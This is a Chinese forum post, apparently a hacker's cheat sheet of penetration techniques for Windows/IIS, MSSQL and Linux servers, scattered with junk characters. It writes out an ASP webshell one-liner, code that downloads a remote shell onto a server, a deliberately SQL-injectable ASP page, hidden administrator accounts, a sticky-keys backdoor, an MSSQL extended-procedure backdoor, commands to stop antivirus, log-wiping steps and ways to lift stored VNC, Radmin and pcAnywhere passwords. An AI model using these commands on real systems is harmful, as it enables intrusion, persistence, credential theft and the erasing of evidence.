渗透技巧总结

admin

旁站路径问题
' C- D( N+ l# }  O( X1、读网站配置。
/ L% l5 }4 v4 n4 Q8 z7 c4 j2、用以下VBS
& R" L, `! n3 a+ i$ J5 e+ x  s* |: HOn Error Resume Next
3 I" q4 E  ~' X  tIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        
  ^3 t( n, U! o; i
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

9 o5 ?5 h; c2 U0 d/ Q# u1 WUsage:Cscript vWeb.vbs",4096,"Lilo"
& c% y/ }: T5 k2 r# f        WScript.Quit
End If
Set ObjService=GetObject
3 ]- g" t- i7 }8 W3 K8 h1 G
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
$ N# O: J  U* r0 n: @9 Z7 t        If IsNumeric(obj3w.Name)

Then
& E  e& w( Q  J$ ]6 R8 t                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
+ U% \* F- @! ~         

' D, k& q. X+ S. K$ b. [1 X       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

' Y* q6 y7 s5 X8 X* y+ m<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

+ c( |! M7 J9 L" W) zOService.ServerComment & "]"
0 z7 i2 f7 `& p  I3 V7 {                For Each Binds In OService.ServerBindings
1 o) Y* u; K1 V. R$ k% _     

8 j/ B. J. L( B/ M# f9 G                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
6 `+ I: L0 q9 H: z! V( d                        
# @+ b. Z$ T0 z
2 l+ B% K8 C8 Y3 ~WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
      

         WScript.Echo "ath            : " & VDirObj.Path
        End If
; N  s8 X, Q/ U6 t# jNext
复制代码
% V3 T0 V" o; |6 ?. Q7 T! Y2 r" }3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
: S- ]# e4 y6 Q2 ]& z9 r—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
+ ]) l% F# p/ |7 Y0 H( aurl/wp-content/plugins/akismet/hello.php
; [( W# l) ]$ F- p$ ^- n, D) h——————————————————————
phpMyAdmin暴路径办法:
* _. r4 A$ c; J) D3 K( ophpMyAdmin/libraries/select_lang.lib.php
: B, z5 V% y. v% Q3 y9 UphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
1 m" Y7 a9 N4 ~7 f+ u$ q2 Y! wphpmyadmin/themes/darkblue_orange/layout.inc.php
4 U( Q) w% }! J+ _' N2 ?* @, j————————————————————
网站可能目录(注：一般是虚拟主机类）
- U: q! P/ ~) ^& ]4 j' h1 ]6 kdata/htdocs.网站/网站/
$ r: _7 Z, t. P3 E) a————————————————————
CMD下操作VPN相关
0 P( W" [' L7 A5 Enetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
! Q+ \- z# I! x( }2 c5 i) W5 v1 Snetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
2 L, P& Z* e' g' ~, hnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
4 x- u) H3 H# J$ D4 g————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
' o7 s! K) O+ `- c) \  yexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
; f( O9 F! U- `, A0 ~' K7 [然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
' z8 C& x+ ?' H7 ]5 I' U7 W
另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
2 K3 `) |5 K3 C- r! l0 N% Ujs:
var o=new ActiveXObject( "Shell.Users" );
! G2 A5 P7 ]7 zz=o.create("test") ;
+ e) x, A4 z( K( i3 G+ Uz.changePassword("123456","")
& u! F2 i* ]* S, Q( }% Q' m2 mz.setting("AccountType")=3;
, z- G* }& G& V- Q) I8 o
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
1 b4 F' d: u1 G/ w——————————————————
3 @9 T$ M7 i- x" _cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
9 t' z5 n2 X: D; L6 L) V4 S
命令如下
- [5 `8 O9 X, ^: s, t: N2 ~cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
- O! t/ M. v! U  |) _7 U' f————————以下配合PR更好————
3389相关
. v% i7 \/ x! x; U# g! k. e3 U5 ^+ Ca、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
: O) U, j- {: C, C8 e& ic、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

0 I1 D! F8 L/ [/ J杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
6 N0 p, z2 _$ w7 l0 O. jnet stop "Symantec AntiVirus" /y
& M7 u7 c# M! l4 l/ Qnet stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
: @8 j2 k. x. \4 mnet stop "Symantec Settings Manager" /y
& E3 S* {9 n3 t
% x, h' `8 `" k- K, X8 L卖咖啡：net stop "McAfee McShield"
————————————————————
* X- w+ ^$ `7 _: d, L/ y( k
5次SHIFT：
! Z  q  l' ~7 ]' n# t# jcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
$ c; z9 L' {, t& X* l: R0 Bcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
1 L9 N5 m; o- o' O; `4 F9 W隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
4 O8 B7 ~% g. P* q$ ]4 c2、导出注册表SAM下用户的两个键值
3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
6 t5 D  @6 m6 J, a) {1 K. v) p4、利用Hacker Defender把相关用户注册表隐藏
' o) ^% N: Y" h. F——————————————————————
* [& q$ E2 f, rMSSQL扩展后门：
USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
———————————————————————
日志处理
1 e3 d' ?# P& {! Y9 m! u: P! u5 QC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
5 `) H. E  {% Q& y+ D8 g  m5 bex011120.log / ex011121.log / ex011124.log三个文件，
) O& V- J0 N4 f8 T# \" T直接删除 ex0111124.log
不成功，“原文件...正在使用”
, d6 I7 b% n" c# `% v当然可以直接删除ex011120.log / ex011121.log
: F0 r0 l; `* ?0 x" K, K( t/ W用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log
: K% Y5 W/ Z9 J
MSSQL查询分析器连接记录清除：
" I+ p" \5 L5 _3 E) j/ n, mMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
# R( f. l) F# H
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
& Z! _: r% M% SDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
6 M# I- q) j3 f- \5 t+ j$ V6 UWith Retrieval
8 a! `! h# v2 r.Open "Get", s_RemoteFileUrl, False, "", ""
) G& V/ @# r, O2 r.Send
' C( t$ Q& c/ ^% ]GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
% P: S7 P- Z2 f+ E1 X- \With Ads
; P" r9 D: A6 e% N.Type = 1
% l  y4 b; R5 O6 n& ~! P# N.Open
2 ^& N: e/ n3 d) h, @! y.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
5 }) \- G1 k- }* Q8 g6 l5 p/ R" C0 N.Cancel()
.Close()
End With
/ S2 N) i( g+ m& X) U( G) NSet Ads=nothing
& e7 h- P* S( E/ D$ W4 p0 ZEnd Sub

( }  t( _  i, s1 t9 ~eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
$ P8 ]& B2 h5 f. S& a, l; g%>

VNC提权方法:
' k- J, l3 ~/ \; p& `+ h利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
8 H, n# ~; S; {regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
1 T0 F( e& m# j- E; lregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
$ ^; z6 z* f4 E* |; E9 _: nRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
1 u2 e* Q' g% t% h' J. R如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
3 E2 I2 X* M4 d* @4 n搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
, L9 e5 c: n1 G* v2 s( i% [8 U1 o5 O没有删cmd组建的直接加用户。
! \$ M% @, x6 o6 \! D7i24的web目录也是可写，权限为administrator。
* j2 {, p: ^; u
: W! w, r* @: V7 v9 ]8 D1433 SA点构建注入点。
# o, q0 ^) L6 y: D& y<%
0 e0 P1 B1 P$ o# u" ?strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
4 V  ~8 L: R' LstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
' g( l  ]8 x$ B' Y1 e- z) p; O' YSet conn = Server.createObject("ADODB.Connection")
! A& J1 ?" X8 C: C& N4 _' @strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
$ t3 r3 {$ I5 [$ }! f; m) x
1 E' j- y3 O( F+ v" ]% S";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
. c2 a. u- }0 @9 _
strSQLDBName & ";"
4 D+ u' }# w: \+ X$ c$ o  Y, ^conn.open strCon
5 L8 g$ L) Y) X; ^$ w) idim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
+ q" z! N& M. S$ \& D4 C  L6 Y. fid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
复制代码
: `" v+ b: r4 X- i: ]******liunx 相关******
& O/ g2 D  g# C) h& d: f一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

' p& ~& M! H  `% l$ e$ ]2.less /etc/ldap.conf
  Z7 g' {  }$ h9 ~* Bbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
3 ^, T; d& p" W" v+ q9 H9 V
0 }( G# g3 ?: k" k+ I/ g8 V3.查找管理员信息
6 a9 x! ^5 W5 k) Z6 P% [% G匿名方式
- t6 F/ w/ v0 J) F/ V5 eldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 ~8 E! d& C1 l, `/ w7 v有密码形式
% f" X" g' b( t3 C% e2 t9 s4 Zldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
; k5 O0 G) J# i9 H# |( X
' A, ~8 H# ?5 w& ?% R3 \"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
7 j- P8 B- g; l

" r- l# y! r0 ]. f! _2 z# R4.查找10条用户记录
$ `# F. @  S+ Sldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
# q# y8 U) d( m2 h$ t+ z6 V
实战:
, S5 t3 _: C: t- A3 V% F/ V* R. ~1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
- c7 ^4 [8 X6 q5 D2 A
" X" x+ f0 `% L8 o& ?2.less /etc/ldap.conf
! U) p9 L5 f7 x9 j/ z2 bbase ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
) Z% G) B: `+ q匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
4 W/ W+ s$ B3 k9 Y
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
5 T/ M. O) Q+ i* a& }5 l有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
% L, D, G% z% Q8 P6 A
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


  F0 }! M8 y" D" o4.查找10条用户记录
3 h( s; c) g( v7 d. ildapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
6 l9 Z- R2 E* q6 |# X& Q
渗透实战:
" b: g4 k  O' g' M4 e0 Z; [. {1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
8 w# w! j; s" p/ }dn: dc=ruc,dc=edu,dc=cn
( T8 q, F: T& i& D* bdc: ruc
4 O  i6 g4 g2 m! X4 z& `, Q$ R" w5 f0 oobjectClass: domain
) `' @( g" n  G
3 @6 q4 u+ Z3 h. |# Gdn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
2 y& ~; C5 W/ u) BobjectClass: organizationalPerson
objectClass: person
0 q8 U+ a+ N" M2 G- i+ x2 YobjectClass: top
sn: manager
cn: manager

4 R1 g0 [, R+ {' Wdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
, z1 m! H2 z  }# g8 ^6 XobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
' ]( u# M* m% x3 P3 G2 r6 {sn: superadmin
: u+ v6 j2 c: icn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
. p% t$ u; q: z7 }4 Nuid: admin
objectClass: inetOrgPerson
1 Z4 v9 N+ _1 DobjectClass: organizationalPerson
objectClass: person
objectClass: top
' C1 ~* i' W$ o! H8 {2 Y9 ~; Ssn: admin
3 C) \0 M% ]* h- u& g! R: A5 hcn: admin
$ V: V' n; m) S. y5 i) ~1 M
, i, d8 u4 N9 F6 Kdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
1 k; \$ Y$ j9 n; T& T1 AobjectClass: top
8 ^7 \- X  a) p7 ~7 [9 t# {objectClass: person
) R3 e1 S/ U: B. I% XobjectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
( A# l3 }3 d1 Xcn: dcp_anonymous

2.查看基类
0 c5 s1 B3 F( \* F" n5 sbash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

more
version: 1
( O. W) j$ g: ]  ddn: dc=ruc,dc=edu,dc=cn
dc: ruc
4 B9 m) i- Y( v( a+ G7 bobjectClass: domain

, Z' ^- b5 V% Y7 v6 M3 M4 d! ?3.查找
- G, J* e# g5 U) Q2 Z* T; f  b; wbash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
. f0 {7 E. y8 D6 ~) W& e3 sversion: 1
dn:
objectClass: top
% p9 P! e8 A# j, M: R  znamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
$ v) |) X1 E% n% F4 x8 OsupportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
' M) b# e, p. ~: YsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
2 @8 L( P3 Q# Y4 osupportedExtension: 2.16.840.1.113730.3.5.6
' D% |+ X/ O7 ^7 ~9 j. P* PsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
- R9 k5 q* w" \4 PsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
0 L/ v! Q7 u- H8 {) ?& h4 `supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
; s) l- z- i2 |" T/ w8 osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
% J( j3 o6 j/ o) z% {7 T4 B9 lsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
  S1 A& w9 @8 J: D9 u! ^5 rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
4 K. N$ h, ^# i# h# y3 IsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
8 t) N: z% w: G7 HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
; Q/ D! T2 y4 ZsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
9 ?  M, [" N2 ~- SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
+ v  h" f: l0 s( D1 t: L" K2 }supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
8 |" j" ^4 G1 _! D5 o# isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
0 B6 O. [4 i$ ~4 {, _' Q9 WsupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
* A3 L8 F) X. g; m/ isupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
' `# o& U1 U: Q4 ~supportedControl: 1.2.840.113556.1.4.473
. b& U9 D  o- O; \2 c" O6 Y9 OsupportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
- ], z4 `) W- s- G! \supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
/ s3 f0 S/ J5 u$ K; l6 ?) ~supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
$ t6 ?: r  T5 x3 L% Q/ ?9 OsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
3 V) X9 X  `/ G6 psupportedControl: 2.16.840.1.113730.3.4.14
# p3 F+ o: g0 q) u1 Z+ ysupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
4 ]" r4 N# }  r: L/ FsupportedControl: 2.16.840.1.113730.3.4.18
+ x9 g2 y' t- _7 P; h) A+ ?5 vsupportedControl: 2.16.840.1.113730.3.4.13
% h& S- x$ J! u1 F6 isupportedSASLMechanisms: EXTERNAL
4 c9 E6 j$ e3 F+ KsupportedSASLMechanisms: DIGEST-MD5
& `2 ]- e" E5 D% M* jsupportedLDAPVersion: 2
supportedLDAPVersion: 3
) T5 K' ^7 s) _9 I& z9 `: XvendorName: Sun Microsystems, Inc.
. ]9 _" y3 R1 t( h0 N; s) AvendorVersion: Sun-Java(tm)-System-Directory/6.2
( Z0 |, T2 ~6 x/ n% \# L* Edataversion: 020090516011411
0 |: P5 E. M/ U) j+ w) a6 O& Z9 Knetscapemdsuffix: cn=ldap://dc=webA:389
9 u7 c! S6 t: K8 S2 s' [1 ]0 osupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
* ]& r+ \% g6 S  M2 g& {/ f( b4 YsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
+ t9 o9 |* o+ q6 s  t4 `5 DsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
' q0 @7 K/ [+ q. tsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
2 c% Q8 b% y6 G- {4 H5 _supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
! f% ?( w- t8 WsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
. a; g) y6 r; \! zsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
# H& z  B3 x2 s1 hsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
2 X% |+ a1 P9 d& q) ^+ OsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
$ q; B' R+ M# W7 H' jsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
" n: `' `- N  {1 L6 C5 vsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
# B: Z- o" F+ {. G& M5 U& nsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
! ^2 i4 N/ h$ _7 e5 j# Z7 N  WsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
; s( O/ x' U- e. j$ MsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
0 s& V. @' v0 C- }+ wsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
- I; t' j  Y7 `, G: ^& W( usupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
% I' m2 N' J+ r9 z, S! d3 LsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
: b& E) Q* |' E& B/ T0 Y+ L5 ?supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
0 A0 f, V5 }) i) E. C' B. |supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
" ?6 Z+ m5 k3 _3 r$ L$ isupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
, n5 D, p! \3 J. r$ j: esupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
& e8 i: z" o, FsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
$ R1 B: I5 W1 n  [5 lsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
& }  ?  j. u* ^" ysupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
6 |$ A: S  _+ ^* p* UsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
7 D0 O; v! \( XsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
2 f& g% x& c$ ^  C8 i& ~————————————
2. NFS渗透技巧
& T( m5 m9 l# o% {/ x" ]showmount -e ip
列举IP
& t* n+ R3 l1 g* Y8 j  O——————
8 a$ h9 e$ W2 @1 k0 Q; O1 E/ c4 Q3.rsync渗透技巧
1.查看rsync服务器上的列表
) R7 R' B" i# G8 b( arsync 210.51.X.X::
/ U$ {  D' O, L" d) k8 t0 Ofinance
/ {3 X; |# v1 y6 J: H  O7 uimg_finance
auto
2 q: H0 u; K8 y" @* B* Simg_auto
html_cms
img_cms
6 T2 S# b2 F+ `. lent_cms
/ _" l3 N* M3 w: Y! G4 ?ent_img
, b) E1 ?+ Y1 f8 f, f; ^& Y8 bceshi
  l) w! c" d! ]res_img
res_img_c2
chip
& _* @0 t- m% Wchip_c2
ent_icms
games
gamesimg
media
7 p1 p; k2 H4 W7 H3 t% O9 y$ T- w% nmediaimg
; ~& t) Z5 @5 A6 ]# zfashion
res-fashion
! F/ z1 F, b6 q; Hres-fo
taobao-home
res-taobao-home
1 y( @" o" J, p' ohouse
res-house
res-home
# U; X" _. M) [) [% mres-edu
) P) y4 i, r6 v7 K6 `) Mres-ent
; z) S; f) H$ R$ G! |res-labs
4 P3 ]- w+ N- [/ O0 b  `, H6 hres-news
/ Z" q/ U9 V" `5 Q" n+ |, Gres-phtv
res-media
8 a: r# ^3 @- r" h, h8 r2 P0 `home
edu
news
9 h, q* s! G) k# l. I' Lres-book
! n% C+ C) a" m" V0 E! h$ {
看相应的下级目录(注意一定要在目录后面添加上/)
9 M/ A7 s; m4 B
; c& j5 S# l7 |0 f: i' g. U# K& ^
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
, C. p1 a( V7 U+ o
2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
( U8 G% l: |8 Y9 brsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
/ {( H) u6 x" F7 D: C& h/ V9 {  ^
四.squid渗透技巧
6 N/ F3 _) A8 Z1 Lnc -vv baidu.com 80
7 `. {5 {( G/ d3 u1 y: QGET HTTP://www.sina.com / HTTP/1.0
; u7 `# Q! `5 L" M! o- ^8 \GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
5 n, N! L8 t. W$ ^' U2 d6 R7 l, cssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
9 e, Y$ c. C) I8 _2 q- a8 `
六.joomla渗透小技巧
5 _5 e+ z1 [( |3 I- y( _1 h0 T& A确定版本
7 V7 t! N- i* K  ?& u( K6 K9 Nindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

6 h1 E: L- W# d8 N15&catid=32:languages&Itemid=47
! K1 ]1 Y# @: X+ a
重新设置密码
index.php?option=com_user&view=reset&layout=confirm

8 W. p" y7 l) q6 O$ z1 o七: Linux添加UID为0的root用户
useradd -o -u 0 nothack
0 S7 o  E% a( N& @
8 H8 S0 o4 z: c" m+ W9 Y八.freebsd本地提权
- P; e2 z+ D' Q) J- R[argp@julius ~]$ uname -rsi
